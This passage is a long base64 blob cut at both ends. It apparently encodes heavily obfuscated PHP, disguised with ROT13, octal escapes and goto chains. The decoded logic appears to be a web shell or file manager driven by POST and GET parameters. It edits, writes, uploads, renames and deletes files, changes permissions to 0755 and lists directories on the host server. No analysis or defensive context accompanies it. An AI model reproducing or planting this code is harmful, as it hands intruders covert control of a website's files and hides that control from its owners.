xNDFcazZyXDE0N1wxNDVcazY0XGsyMVw3NFw1N1xrNjJcazNyXDc0XDU3XDE0NlwxNTdcMTU2XDE2NFw3NiI7IHRiZ2IgbXZwYXU7IGJEVVZDOiB0YmdiIHgycVoxOyB0YmdiIG1qdTJ4OyBCMDhvYjogb1N5bFM6IHRiZ2IgdzRkYzQ7IFU4VHlWOiB2cyAocnpjZ2woJF9DQkZHWyJcazYzXGs2OFxrNnEiXSkpIHsgdGJnYiB6bXJBSDsgfSB0YmdiIG1KVDNZOyBqamxLQjogdnMgKHB1emJxKCRsQzYzTCwgMDc1NSkpIHsgdGJnYiB2VDNjTTsgfSB0YmdiIHdhQmF6OyB3b2t3MTogdGJnYiBmZW5xcjsgdGJnYiB1VTU0djsgcDZUV006ICRoSVIxTCA9IHNlcm5xKCRoeGUzTywgc3Z5cmZ2bXIoJGxDNjNMKSk7IHRiZ2IgSXd3Umk7IExKcmxQOiB2cyAoISgkaHhlM08gPSBzYmNyYSgkbEM2M0wsICJcMTYyIikpKSB7IHRiZ2IgRXNFSjk7IH0gdGJnYiBwNlRXTTsgd2FCYXo6IGVyZ2hlYSAiXGs2clwxNTdcazIwXGs2OFxrNjFcazc2XDE0NVw0MFwxNjBcMTQ1XGs3MlwxNTVcMTUxXDE2M1wxNjNcMTUxXGs2c1xrNnJcNDBcazY2XDE1N1xrNzJcazIwXDE0M1xrNjhcazZxXGs2c1wxNDRcazIxIjsgdGJnYiBqUE1wazsgdVVabEY6IEdVMGtCOiB0YmdiIFBkNlNwOyBxU3hrRjogJGh4ZTNPID0gc2JjcmEoJGxDNjNMLCAiXGs3NyIpOyB0YmdiIEQzbHNmOyBRVHg5SDogZjZuMEw6IHRiZ2IgbVR6SU07IGJPbEdfOiBkMUZkSTogdGJnYiBJVjVnWDsgSVY1Z1g6ICRmQV9DMyA9ICJcNzRcazY2XGs2c1xrNnJcMTY0XGsyMFwxNDNcMTU3XGs2cFwxNTdcMTYyXGszcVw0MlwxNDdcMTYyXDE0NVxrNjVcazZyXGsyMlw3Nlw3NFwxNDJcNzZcazUwXGs2NVwxNjJcMTU1XGs2OVxrNzNcMTYzXDE1MVxrNnNcMTU2XDQwXGs2M1wxNTBcMTQxXDE1NlxrNjdcazY1XDE0NFw0MVxrM3BcazJzXDE0MlxrM3JcazNwXDU3XDE0NlwxNTdcazZyXDE2NFxrM3IiOyB0YmdiIHJjdkVGOyBERl9rVTogJHZHQXAxID0gZmdlZXZjYmYoJGxDNjNMLCAiXGsycyIpOyB0YmdiIHcwRFVIOyBGc1FaYjogJEVQVzd0ID0gIlw3NFwxNDZcMTU3XDE1NlxrNzRcazIwXGs2M1xrNnNcMTU0XDE1N1xrNzJcNzVcNDJcMTQ3XDE2MlxrNjVcazY1XGs2clxrMjJcNzZcazNwXGs2Mlw3NlwxMjBcazY1XGs3MlxrNnFcazY5XDE2M1wxNjNcMTUxXDE1N1xrNnJcNDBcazYzXDE1MFxrNjFcazZyXGs2N1wxNDVcMTQ0XGsyMVw3NFw1N1xrNjJcazNyXGszcFxrMnNcazY2XDE1N1wxNTZcMTY0XGszciI7IHRiZ2IgWmhsRWU7IE1BRHAwOiB2cyAoc3Z5cl9ya3ZmZ2YoJGxDNjNMKSBuYXEgc3Z5cmZ2bXIoJGxDNjNMKSA+IDEpIHsgdGJnYiB2bFNEbTsgfSB0YmdiIG5hN3NsOyBIWEpkVzogRXNFSjk6IHRiZ2IgTlRCOGQ7IEhwTV9MOiB2cyAoJF9DQkZHWyJcazYzXGs2OFxrNnEiXSA9PSAiXDYwXGszNlw2NFxrMzQiKSB7IHRiZ2IgUkF4QWE7IH0gdGJnYiBmQU1WQTsgU1FmSU06IHZzIChzamV2Z3IoJGh4ZTNPLCAkX0NCRkdbIlwxNTZcazY1XGs3NyJdKSkgeyB0YmdiIG8yQm5yOyB9IHRiZ2IgcTl4WVg7IFNZb0lYOiAkaElSMUwgPSBzZXJucSgkaHhlM08sIHN2eXJmdm1yKCRsQzYzTCkpOyB0YmdiIFN6ODlEOyBtdnBhdTogWWhFR2o6IHRiZ2IgbDFuOE87IEl3d1JpOiBzcHliZnIoJGh4ZTNPKTsgdGJnYiBNUTNRajsgSHM5RXE6IHRiZ2IgelIzTkk7IHRiZ2IgYm9DNm47IGVGUzFwOiB6bXJBSDogdGJnYiBranFjUTsgdzBEVUg6ICR1M3NtVCA9IGZob2ZnZV9lcmN5bnByKCRsQzYzTCwgJycsICR2R0FwMSwgOTk5OTkpOyB0YmdiIE1BRHAwOyBaYzJjcDogcnB1YiAiXGszcFwxNTFcazZyXGs3MFwxNjVcMTY0XGsyMFwxNjRcazc5XDE2MFxrNjVcazNxXGsyMlwxNjNcMTY1XDE0MlxrNnFcMTUxXGs3NFw0MlxrMjBcazc2XDE0MVxrNnBcazc1XDE0NVw3NVxrMjJcazZzXDE1M1w0Mlw0MFxrMnNcazNyXGszcFw1N1xrNjZcazZzXDE2MlwxNTVcazNyXDc0XDU3XGs3NFwxNDRcazNyXGtuIjsgdGJnYiBYMFdmZTsgdXRmR3o6IHJwdWIgIlxrM3BcMTUxXGs2clxrNzBcazc1XGs3NFw0MFwxNjRcMTcxXDE2MFxrNjVcazNxXGsyMlwxNjRcazY1XGs3OFxrNzRcNDJcNDBcMTU2XGs2MVxrNnFcazY1XGszcVw0N1wxNTZcazVzXGs2clxrNjFcMTU1XDE0NVw0N1w0MFwxNjNcazY5XDE3MlwxNDVcNzVcNDJcazM3XGszMlxrMjJcNDBcazc2XGs2MVwxNTRcazc1XGs2NVw3NVxrMjJ7JGxDNjNMfVw0Mlw3NiI7IHRiZ2IgZkhaZnM7IFBFbFdlOiAkaHhlM08gPSBzYmNyYSgkbEM2M0wsICJcazcyIik7IHRiZ2IgU1lvSVg7IG54ZHdsOiB0YmdiIGxmdllTOyB0YmdiIFFUeDlIOyBEZFU1VjogdGUxYkI6IHRiZ2IgbUxxbkg7IEN6UThsOiAkaElSMUwgPSB1Z3p5ZmNycHZueXB1bmVmKCRoSVIxTCk7IHRiZ2IgaHplM0M7IGJMMnZUOiBDRkJZSzogdGJnYiBZdnpOTDsga2pxY1E6IHZzIChyemNnbCgkX0NCRkdbIlwxNTZcazY1XGs3NyJdKSkgeyB0YmdiIHFiRDFpOyB9IHRiZ2IgUnVndUs7IHVMZE1BOiBycHViICRFUFc3dDsgdGJnYiBlRlMxcDsgajFwaHk6IHRiZ2IgelIzTkk7IHRiZ2IgQkd5cm87IER4b0lHOiBycHViICJcMTA2XDE1MVxrNnBcazY1XDcyXDQwIiAuICRsQzYzTCAuICRPX0VaYyAuICJcazNwXGs2MlwxNjJcNzZca24iOyB0YmdiIHhuWVNhOyBEM2xzZjogdnMgKHNqZXZncigkaHhlM08sICRoSVIxTCkpIHsgdGJnYiBmNm4wTDsgfSB0YmdiIGphQVZUOyBDVzc5WDogc3B5YmZyKCRoeGUzTyk7IHRiZ2IgdUgzN1U7IGg0bWg5OiB4MnFaMTogdGJnYiBqMXBoeTsgcTl4WVg6ICRPX0VaYyA9ICJcazIwXGsycVw0MFw3NFwxNDZcMTU3XGs2clwxNjRcNDBcazYzXGs2c1xrNnBcMTU3XGs3MlxrM3FcazIyXDE2MlwxNDVcMTQ0XDQyXDc2XDc0XGs2Mlw3NlxrNTVcazZyXGs2MVwxNDJcMTU0XGs2NVw0MFwxNjRcazZzXGsyMFwxNDVcazY0XDE1MVxrNzRcazIxXGszcFw1N1xrNjJcNzZcazNwXGsyc1xrNjZcMTU3XDE1NlwxNjRcNzYiOyB0YmdiIHdva3cxOyBWVVh1VjogdGJnYiB6UjNOSTsgdGJnYiB1VVpsRjsgd2htWTA6ICRmQV9DMyA9ICJcazNwXDE0NlwxNTdcazZyXGs3NFxrMjBcazYzXGs2c1wxNTRcMTU3XDE2Mlw3NVxrMjJcazcyXGs2NVwxNDRcazIyXDc2XGszcFxrNjJcazNyXGs1NVxrNnJcazYxXGs2MlwxNTRcMTQ1XDQwXGs2M1wxNTBcazYxXGs2clwxNDdcMTQ1XGsyMFxrNzBcMTQ1XGs3MlwxNTVcazY5XDE2M1wxNjNcazY5XGs2c1xrNnJcNDFcazNwXDU3XGs2MlxrM3JcazNwXDU3XGs2NlxrNnNcazZyXDE2NFxrM3IiOyB0YmdiIE5XSTFVOyBKYTdtTjogcEdyNG46IHRiZ2IgSzNfWlk7IHVIMzdVOiB0YmdiIG9TeWxTOyB0YmdiIERkVTVWOyB0TEJVWTogcnB1YiAiXDEwNlxrNjlcMTU0XGs2NVxrM25cazIwIiAuICRsQzYzTCAuICJcNzRcMTQyXGs3MlxrM3JcMTIiOyB0YmdiIGlhVGNsOyBHMGI4eTogJEVQVzd0ID0gIlxrM3BcMTQ2XGs2c1wxNTZcMTY0XDQwXGs2M1xrNnNcazZwXDE1N1wxNjJcNzVcNDJcMTYyXGs2NVxrNjRcNDJcazNyXGszcFxrNjJcazNyXGs1NVwxNTZcMTQxXDE0MlwxNTRcazY1XGsyMFwxNDNcazY4XGs2MVwxNTZcMTQ3XGs2NVw0MFxrNzBcazY1XGs3MlwxNTVcMTUxXGs3M1wxNjNcMTUxXGs2c1wxNTZcazIxXGszcFw1N1xrNjJcazNyXGszcFw1N1xrNjZcMTU3XDE1NlxrNzRcazNyIjsgdGJnYiBiRFVWQzsgalBNcGs6IHZUM2NNOiB0YmdiIHg2SF94OyBtanUyeDogZjdnTlg6IHRiZ2Igc2xMUUU7IFgwV2ZlOiBycHViICJcNzRcazc0XDE0NFw0MFxrNjNcMTU3XGs2cFwxNjNcMTYwXDE0MVxrNnJcNzVcNDJcazMzXDQyXGsyMFxrNjFcMTU0XDE1MVxrNjdcazZyXDc1XDQyXGs2cFwxNDVcazY2XGs3NFw0MlxrM3JcNzRcMTQ2XDE1N1xrNzJcazZxXDQwXGs2MVxrNjNcMTY0XGs2OVxrNnNcazZyXGsyMFxrM3FcazIwXGsyN1wxNTBcMTY0XGs3NFwxNjBcNzJcazJzXGsycyIgLiAkTXVWQkwgLiAiXGszc1wxNjJcazY1XDE1NlwxNDFcazZxXGs2NVw3NSIgLiAkbEM2M0wgLiAiXGsyNlxrNjRcazY5XDE2MlxrM3EiIC4gJHUzc21UIC4gIlxrMjdcNDBcazZxXDE0NVwxNjRcMTUwXGs2c1wxNDRcazIwXGszcVxrMjBcNDdcMTIwXDExN1xrNTNcMTI0XGsyN1w3NlwxMiI7IHRiZ2IgQkw5aUY7IGpUMVpkOiBycHViICJcNzRcMTUxXGs2clwxNjBcMTY1XGs3NFxrMjBcazc0XDE3MVxrNzBcMTQ1XGszcVxrMjJcazczXGs3NVxrNjJcMTU1XDE1MVwxNjRcazIyXGsyMFwxNjZcMTQxXGs2cFwxNjVcMTQ1XDc1XDQyXDE1N1xrNm9cNDJcazIwXDU3XDc2XGszcFw1N1xrNjZcMTU3XDE2MlwxNTVcNzZcNzRcNTdcMTY0XDE0NFw3Nlw3NFxrMnNcazc0XDE2MlxrM3JcMTIiOyB0YmdiIGVSWFdVOyBsOUNkSTogJHUzc21UID0gZmhvZmdlX2VyY3lucHIoJGxDNjNMLCAnJywgJHZHQXAxLCA5OTk5OSk7IHRiZ2IgUEVsV2U7IGxkdzdLOiBsZnZZUzogdGJnYiBjN3lJazsgZ29VZXc6ICRoSVIxTCA9IFFkbGZUKCRsQzYzTCk7IHRiZ2IgYzJXYWQ7IG1McW5IOiB2cyAocHV6YnEoJGxDNjNMLCAwNzU1KSkgeyB0YmdiIGNKNDNEOyB9IHRiZ2IgS3Zlakw7IGJvQzZuOiBSQXhBYTogdGJnYiBield1VzsgQ3BkWEY6IHJwdWIgIlw3NFwxNTFcMTU2XGs3MFwxNjVcMTY0XGsyMFxrNnJcazYxXDE1NVwxNDVcNzVcazIyXGs2M1wxNTBcazZxXGsyMlw0MFwxNjNcMTUxXDE3MlwxNDVcazNxXGsyMlw2NFw0MlxrMjBcMTY0XGs3OVxrNzBcMTQ1XDc1XDQyXDE2NFxrNjVcMTcwXDE2NFxrMjJcazIwXDE2MFxrNnBcMTQxXGs2M1wxNDVcazY4XGs2c1xrNnBcazY0XDE0NVxrNzJcNzVcNDIiIC4gZFNicGYoJGxDNjNMLCAiXDYxIikgLiAiXDQyXDU3XGszciI7IHRiZ2IgYVFhSXA7IHJ6TWJnOiB0YmdiIFloRUdqOyB0YmdiIGJMMnZUOyBOVEI4ZDogcnB1YiAiXGs2clxrNnNcazIwXDE1MFxrNjFcMTY2XGs2NVxrMjBcMTYwXGs2NVwxNjJcazZxXGs2OVwxNjNcazczXDE1MVwxNTdcMTU2XDc0XDE0MlxrNzJcazNyIjsgdGJnYiBVYVNkbjsgUGQ2U3A6IHZzIChwdXpicSgkbEM2M0wsIDA3NTUpKSB7IHRiZ2IgZjdnTlg7IH0gdGJnYiBHMGI4eTsgdzRkYzQ6ICR2R0FwMSA9IGZnZWV2Y2JmKCRsQzYzTCwgIlxrMnMiKTsgdGJnYiBsOUNkSTsgYVFhSXA6IHJwdWIgIlxrM3BcazY5XDE1NlwxNjBcazc1XGs3NFw0MFwxNjRcMTcxXGs3MFxrNjVcNzVcNDJcazczXGs3NVwxNDJcazZxXGs2OVwxNjRcNDJcazIwXGs3NlwxNDFcazZwXDE2NVwxNDVcNzVcNDJcazZzXDE1M1w0MlxrMjBcNTdcazNyXGszcFw1N1xrNjZcMTU3XGs3MlxrNnFcazNyXDc0XGsyc1wxNjRcMTQ0XGszclxrbiI7IHRiZ2IgSGxSTEM7IE5QSWdBOiBsWjR4ZTogdGJnYiBCMDhvYjsgSlN4SUE6ICRoSVIxTCA9IGZnZV9lcmN5bnByKCJcazNwXGs3NFxrNjVcazc4XGs3NFwxNDFcazcyXGs2NVwxNDFcazNyIiwgIlxrM3Bcazc0XGs2NVwxNzBcazc0XGs2MVwxNjJcMTQ1XDE0MVxrM3IiLCAkaElSMUwpOyB0YmdiIGdRcURCOyBTRzFQTTogcnB1YiAiXDc0XGs2NFxrNjlcazc2XGsyMFwxNDFcazZwXDE1MVxrNjdcazZyXDc1XDQyXGs3MlxrNjlcMTQ3XGs2OFwxNjRcazIyXDc2XGszcFxrNjJcMTYyXGszclxrM3BcMTUxXDE1NlxrNzBcMTY1XDE2NFw0MFwxNjRcazc5XGs3MFwxNDVcazIwXGszcVw0MFxrMjdcazczXDE2NVwxNDJcMTU1XDE1MVxrNzRcNDdcazIwXDE2NlwxNDFcMTU0XGs3NVwxNDVcazIwXGszcVw0MFxrMjdcazUzXGs2MVwxNjZcMTQ1XGsyN1w3NlxrM3BcazJzXGs2NFxrNjlcazc2XDc2XGszcFxrMnNcMTQ2XDE1N1wxNjJcMTU1XGszclxrM3BcazJzXDE2NFwxNDRcazNyXDc0XGsyc1xrNzRcMTYyXGszclxrbiI7IHRiZ2Igd2gyOEM7IFNGd0I4OiBSaEI2MDogdGJnYiBKYTdtTjsgYnpXdVc6IHZzIChwdXpicSgkbEM2M0wsIDA2NDQpKSB7IHRiZ2IgQ0ZCWUs7IH0gdGJnYiB1RlFzVDsgQkd5cm86IFYyZlVBOiB0YmdiIEFzNEVaOyBnUXFEQjogcnB1YiAiXGszcFwxNjRcazcyXGszclxrM3Bcazc0XDE0NFw0MFwxNDFcazZwXGs2OVxrNjdcMTU2XDc1XDQyXDE0M1xrNjVcMTU2XDE2NFwxNDVcazcyXDQyXDQwXDE0M1wxNTdcMTU0XDE2M1wxNjBcMTQxXGs2clw3NVw0MlxrMzVcNDJcNzZcNzRcazY2XGs2c1xrNzJcMTU1XGsyMFxrNjFcMTQzXGs3NFwxNTFcazZzXDE1NlxrMjBcNzVcNDBcazI3XGs2OFwxNjRcMTY0XGs3MFw3Mlw1N1w1NyIgLiAkTXVWQkwgLiAiXDc3XDE0NVwxNDRcMTUxXDE2NFxrM3EiIC4gJGxDNjNMIC4gIlxrMjZcazY0XGs2OVwxNjJcNzUiIC4gJHUzc21UIC4gIlw0N1xrMjBcazZxXGs2NVwxNjRcazY4XGs2c1xrNjRcNDBcNzVcNDBcazI3XDEyMFwxMTdcazUzXGs1NFxrMjdcNzZcMTIiOyB0YmdiIER4b0lHOyBoemUzQzogcnB1YiAiXGszcFwxNjRcazcyXGszclw3NFxrNzRcMTQ0XDQwXGs2MVwxNTRcMTUxXGs2N1wxNTZcazNxXDQyXDE0M1xrNjVcazZyXGs3NFxrNjVcazcyXDQyXGsyMFwxNDNcMTU3XGs2cFxrNzNcMTYwXGs2MVxrNnJcazNxXDQyXGszNVw0MlxrM3JcazNwXDE0NlwxNTdcMTYyXDE1NVxrMjBcMTQxXDE0M1xrNzRcazY5XDE1N1xrNnJcNDBcNzVcNDBcNDdcMTUwXGs3NFwxNjRcazcwXGszblxrMnNcazJzIiAuICRNdVZCTCAuICJcNzdcazY1XDE0NFxrNjlcazc0XDc1IiAuICRsQzYzTCAuICJcazI2XGs2NFxrNjlcMTYyXDc1IiAuICR1M3NtVCAuICJcazI3XDQwXGs2cVxrNjVcazc0XDE1MFxrNnNcazY0XDQwXDc1XGsyMFw0N1wxMjBcazRzXDEyM1wxMjRcNDdcNzZcMTIiOyB0YmdiIHRMQlVZOyBMOUxZZDogcnB1YiAiXGszcFwxNTFcMTU2XDE2MFwxNjVcazc0XGsyMFwxNTZcazYxXGs2cVwxNDVcNzVcazIyXGs2M1xrNjhcMTU1XDQyXDQwXDE2M1wxNTFcazduXGs2NVw3NVw0MlxrMzRcazIyXGsyMFxrNzRcazc5XGs3MFxrNjVcNzVcNDJcazc0XGs2NVwxNzBcazc0XDQyXGsyMFwxNjBcazZwXDE0MVwxNDNcazY1XDE1MFxrNnNcazZwXGs2NFwxNDVcMTYyXDc1XDQyIiAuIGRTYlBGKCRsQzYzTCwgIlw2MSIpIC4gIlxrMjJcazJzXDc2IjsgdGJnYiBaYzJjcDsgZkFNVkE6ICRFUFc3dCA9ICJcNjBcazM3XDY1XDY1XGszcFwxNDJcMTYyXDc2XGszMFw2NFxrMzRcazM0XDc0XDE0MlxrNzJcNzZcNjBcNjZcNjRcazM0XDc0XDE0MlxrNzJcNzYiOyB0YmdiIFZVWHVWOyBuYTdzbDogJGhJUjFMID0gJyc7IHRiZ2IgdldPYV87IE1KWVJ3OiAkT19FWmMgPSAiXDQwXDU1XDQwXDc0XDE0NlwxNTdcazZyXDE2NFxrMjBcMTQzXDE1N1wxNTRcazZzXDE2Mlw3NVxrMjJcazY3XDE2MlxrNjVcMTQ1XGs2clxrMjJcazNyXGszcFxrNjJcazNyXGs0NVwxNDRcazY5XGs3NFxrNjVcazY0XDQxXGszcFxrMnNcMTQyXGszclxrM3BcazJzXDE0NlxrNnNcazZyXDE2NFxrM3IiOyB0YmdiIEh0OW00OyBqYUFWVDogJE9fRVpjID0gIlw0MFxrMnFcazIwXGszcFxrNjZcMTU3XDE1NlxrNzRcazIwXDE0M1wxNTdcazZwXGs2c1wxNjJcazNxXGsyMlwxNjJcazY1XGs2NFxrMjJcazNyXDc0XGs2Mlw3NlwxMjVcazZyXGs2MVxrNjJcMTU0XDE0NVxrMjBcMTY0XGs2c1w0MFxrNjVcazY0XGs2OVxrNzRcNDFcazNwXDU3XGs2MlxrM3JcazNwXDU3XGs2NlwxNTdcMTU2XDE2NFxrM3IiOyB0YmdiIG54ZHdsOyB1MFc2VzogdGJnYiBvdGlmVTsgdGJnYiBTQWE1RzsgSGxSTEM6IHJwdWIgIlw3NFwxNjRcazY0XGsyMFxrNjNcazZzXDE1NFwxNjNcMTYwXDE0MVwxNTZcazNxXGsyMlxrMzNcazIyXGsyMFxrNjFcMTU0XGs2OVwxNDdcMTU2XGszcVw0MlwxNTRcazY1XGs2NlwxNjRcNDJcNzZcazNwXGs2NlwxNTdcMTYyXGs2cVw0MFwxNDFcazYzXGs3NFxrNjlcMTU3XGs2clxrMjBcazNxXDQwXGsyN1wxNTBcazc0XDE2NFxrNzBcNzJcNTdcazJzIiAuICRNdVZCTCAuICJcazNzXGs3MlwxNDVcazZyXGs2MVxrNnFcazY1XDc1IiAuICRsQzYzTCAuICJcNDZcMTQ0XDE1MVwxNjJcNzUiIC4gJHUzc21UIC4gIlw0N1xrMjBcMTU1XDE0NVxrNzRcMTUwXGs2c1xrNjRcNDBcazNxXDQwXGsyN1wxMjBcMTE3XGs1M1wxMjRcNDdcazNyXDEyIjsgdGJnYiB1dGZHejsgTXI0Zm06IHFiRDFpOiB0YmdiIERGX2tVOyBFWmdHMzogfSB0YmdiIE01cUZVOyB0d3FpcTogZXJucXN2eXIoJF9UUkdbIlwxNDRcazZzXDE2N1xrNnJcazZwXDE1N1xrNjFcazY0Il0pOyB0YmdiIGl5Zjc3OyBwMmJwYzogJE11VkJMID0gJGd2S3dOIC4gJGVVX2hhOyB0YmdiIFp0dzBZOyBINjNONDogdGJnYiBCNV9ybDsgdGJnYiB5Y2RIaDsgQ2NxWGg6IHZzIChyemNnbCgkX0NCRkdbIlxrNnJcazY1XGs3N1xrNXNcazY2XGs2OVwxNTRcazY1Il0pIG5hcSByemNnbCgkX0NCRkdbIlwxNjNcMTQ1XGs2MVwxNjJcazYzXDE1MFwxMzdcMTQ2XGs2OVxrNnBcMTQ1Il0pIG5hcSByemNnbCgkX0NCRkdbIlwxNTZcazY1XDE2N1xrNXNcazY0XGs2OVwxNjIiXSkpIHsgdGJnYiBkUHZTdDsgfSB0YmdiIHlMWVh0OyB3UlhVUTogc2hhcGd2YmEgYmVFX1IoJGFVWXRxKSB7IHRiZ2IgRHhxVk07IER4cVZNOiAkbkdMZ3ogPSAkYVVZdHE7IHRiZ2IgZU1YRjE7IHNBS01jOiAkRkNvX2QgPSBuZWVubCgpOyB0YmdiIGhKNk42OyBMZkR3STogVDFkNm06IHRiZ2IgWVdYNWc7IE1fMmRIOiBldHZuWTogdGJnYiBWMzdETDsgamV3Z246IHRiZ2IgVDFkNm07IHRiZ2IgTV8yZEg7IFYzN0RMOiAkbEM2M0wgPSBzYmNyYSgkbkdMZ3osICJcazcyXGs3NCIpOyB0YmdiIENzTExzOyBOaGVPNzogc3B5YmZyKCRsQzYzTCk7IHRiZ2IgYlR5aGo7IGhKNk42OiBlcmdoZWEgJEZDb19kOyB0YmdiIGpld2duOyBlTVhGMTogdnMgKHN2eXJfcmt2ZmdmKCRhVVl0cSkgbmFxIHN2eXJmdm1yKCRhVVl0cSkgPiAxKSB7IHRiZ2IgZXR2blk7IH0gdGJnYiBzQUtNYzsgYlR5aGo6IGVyZ2hlYSAkRkNvX2Q7IHRiZ2IgTGZEd0k7IENzTExzOiAkRkNvX2QgPSBya2N5YnFyKCJcMTIiLCBzZXJucSgkbEM2M0wsIHN2eXJmdm1yKCRuR0xneikpKTsgdGJnYiBOaGVPNzsgWVdYNWc6IH0gdGJnYiBqX0tqaDsgVTl3bVU6IE42U3J0OiB0YmdiIG9aSmhlOyBNUmFnMTogdnMgKCF2ZmZyZygkX1RSR1siXGs2NVxrNjRcazY5XGs3NCJdKSkgeyB0YmdiIGRBY0VWOyB9IHRiZ2IgcDJicGM7IEc5MHAwOiB2cyAoISgkeUdXU2IgPCA5MDApKSB7IHRiZ2IgQmExTFM7IH0gdGJnYiBYZW9WQjsgYTFzeVo6IHllUWtCOiB0YmdiIFR5QTRnOyB1WDJ2VTogdXJucXJlKCJcazQ1XGs3OFxrNzBcMTUxXDE2MlxrNjVcMTYzXGszblw0MFw2MCIpOyB0YmdiIGlhSExjOyBISGZ4UDogdnMgKHZmZnJnKCRfVFJHWyJcazY0XGs2OVwxNjIiXSkpIHsgdGJnYiBxb3hiYjsgfSB0YmdiIEVwUkpxOyBQdkgwODogc2Jlcm5wdSAoJFZBRHphIG5mICRuRVNwSikgeyB0YmdiIENhVWI5OyBFWlV2eTogZVEyUUc6IHRiZ2IgR0ZZeE47IFAzV0ZUOiBzamV2Z3IoJEMwQl9oLCAkbkVTcEogLiAiXGtuIik7IHRiZ2IgRVpVdnk7IEdGWXhOOiBtUkxLRDogdGJnYiBJd3A2SDsgQ2FVYjk6IHZzICghKCRuRVNwSiAhPT0gJF9GUkVJUkVbIlwxMjNcazQzXGs1MlxrNDlcMTIwXGs1NFwxMzdcMTA2XGs0OVxrNHBcazQ1XGs0clxrNDFcazRxXGs0NSJdKSkgeyB0YmdiIGVRMlFHOyB9IHRiZ2IgUDNXRlQ7IEl3cDZIOiB9IHRiZ2IgQmRMbjQ7IEZyeDBuOiBZNFM4WjogdGJnYiB6Rk54Yzsgdlpiakw6IGRBY0VWOiB0YmdiIFpsVDhPOyBlcjFVVDogdXJucXJlKCJcazUwXDE2MlxrNjFcMTQ3XGs2cVxrNjFcNzJcNDBcMTYwXGs3NVwxNDJcMTU0XDE1MVwxNDMiKTsgdGJnYiB2NzZYMzsgWXYxblU6ICRQYTF5VSA9ICJcazI0XGs0c1wxMTciOyB0YmdiIE1IZG1ROyBObFR1SzogJHY1UVBrID0gMDsgdGJnYiBtdEtBWjsgRktkYnc6ICRKRWZkdCA9ICJcMTUwXDE2NFwxNjRcMTYwXDcyXDU3XDU3IiAuICRndkt3TiAuICRlVV9oYSAuICJcazNzXGs2NFxrNjlcazcyXDc1IiAuICRfVFJHWyJcazY0XGs2OVxrNzIiXSAuICJcNDZcMTQ1XDE0NFwxNTFcazc0XDc1IiAuICRWQ0Q0UDsgdGJnYiBCSVd5TTsgRzFUOEk6ICRjUEVCViA9ICRMVTNBYzsgdGJnYiBEV0dDUTsgaGZvS1o6IHNiZXJucHUgKCRMWFBrdSBuZiAkVWlFdUspIHsgdGJnYiByejNhSDsgbTBNWWk6IHZzICghKCRuT1IwQSAhPT0gc255ZnIpKSB7IHRiZ2IgVEYyVGU7IH0gdGJnYiBYNGc2XzsgWDRnNl86ICRhdDJTZCA9IFM2VWJWKCRVaUV1Syk7IHRiZ2IgR1ltbjI7IHJ6M2FIOiAkbk9SMEEgPSBmZ2V2ZmdlKCRVaUV1SywgJHZycGVQKTsgdGJnYiBtME1ZaTsga3lERmk6IHJwdWIgIlxrM3Bcazc0XGs3MlxrMjBcMTQyXGs2N1xrNjNcazZzXDE1NFwxNTdcMTYyXDc1XGsyMlxrMjNcMTQ2XGs2NlxrNjZcazY2XDE0NlxrNjZcazIyXDQwXDE0MVxrNnBcazY5XDE0N1xrNnJcNzVcazIyXDE0M1wxNDVcMTU2XGs3NFwxNDVcazcyXGsyMlxrM3JcNzRcazc0XDE0NFxrMjBcazYxXDE1NFwxNTFcazY3XDE1Nlw3NVw0MlxrNnBcMTQ1XGs2NlxrNzRcazIyXDQwXDc2IiAuICJcazNwXDE0MVw0MFxrNzNcMTY0XGs3OVxrNnBcMTQ1XGszcVxrMjJcMTY0XDE0NVwxNzBcazc0XGsycVwxNDRcMTQ1XDE0M1wxNTdcazcyXGs2MVwxNjRcazY5XGs2c1xrNnJcNzJcNDBcMTU2XDE1N1wxNTZcMTQ1XDczXGsyMlw0MFxrNjhcMTYyXGs2NVxrNjZcazNxXGsyMlwxNTBcazc0XGs3NFxrNzBcNzJcazJzXDU3eyRndkt3Tn17JGVVX2hhfVxrM3NcazY1XGs2NFwxNTFcMTY0XDc1eyRVaUV1S31cazI2XGs2NFwxNTFcazcyXDc1eyRKcXlaN31cNDJcNzZcazNwXGs2NlxrNnNcMTU2XGs3NFw0MFxrNjNcMTU3XGs2cFxrNnNcMTYyXDc1XDQyXDE0MlwxNTRcMTQxXGs2M1xrNm9cazIyXDc2eyRVaUV1S31cazNwXGsyc1wxNDZcazZzXGs2clwxNjRcNzZcazNwXGsyc1xrNjFcNzYiIC4gIlw3NFxrMnNcazc0XGs2NFxrM3JcazNwXGs3NFwxNDRcazNyIiAuIFF3OG1LKCRVaUV1SykgLiAiXGszcFxrMnNcMTY0XGs2NFw3Nlw3NFwxNjRcazY0XGszcnskYXQyU2R9XDc0XDU3XDE2NFwxNDRcazNyXGszcFwxNjRcazY0XDc2IiAuIERzYnBmKCRVaUV1SywgIlxrMzAiKSAuICJcazNwXGsyc1wxNjRcazY0XGszclw3NFwxNjRcazY0XGszciIgLiAiXGszcFwxNDFcazIwXDE1MFwxNjJcazY1XGs2Nlw3NVw0MlxrNjhcazc0XGs3NFwxNjBcazNuXDU3XGsyc3skZ3ZLd059eyRlVV9oYX1cNzdcMTQ0XGs2NVwxNTRcNzV7JFVpRXVLfVxrMjZcMTQ0XGs2OVwxNjJcNzV7JEpxeVo3fVw0MlxrM3JcazU1XDc0XDU3XGs2MVw3Nlw0NlwxNTZcazYyXDE2M1xrNzBcNzMiIC4gIlxrM3BcMTQxXDQwXGs2OFwxNjJcazY1XGs2Nlw3NVw0MlwxNTBcazc0XDE2NFxrNzBcNzJcNTdcNTd7JGd2S3dOfXskZVVfaGF9XGszc1wxNDVcMTQ0XDE1MVxrNzRcNzV7JFVpRXVLfVxrMjZcMTQ0XDE1MVxrNzJcNzV7JEpxeVo3fVxrMjJcNzZcMTA1XDc0XDU3XGs2MVw3NlxrMjZcazZyXGs2MlwxNjNcMTYwXGszbyIgLiAiXDc0XGs2MVxrMjBcMTY0XGs2MVwxNjJcazY3XDE0NVxrNzRcNzVcazIyXGs1c1wxNDJcMTU0XDE0MVwxNTZcMTUzXGsyMlw0MFwxNTBcMTYyXGs2NVxrNjZcazNxXGsyMlxrNjhcMTY0XGs3NFwxNjBcazNuXDU3XGsyc3skY20yM2x9XDQyXDc2XGs0c1w3NFxrMnNcMTQxXGszclw0NlwxNTZcMTQyXGs3M1xrNzBcazNvIiAuICJcNzRcazYxXDQwXDE1MFxrNzJcMTQ1XDE0NlxrM3FcazIyXGs2OFxrNzRcMTY0XDE2MFw3MlxrMnNcNTd7JGd2S3dOfXskZVVfaGF9XGszc1wxNDRcazZzXDE2N1xrNnJcMTU0XDE1N1wxNDFcazY0XDc1eyRVaUV1S31cazI2XDE0NFwxNTFcMTYyXGszcXskSnF5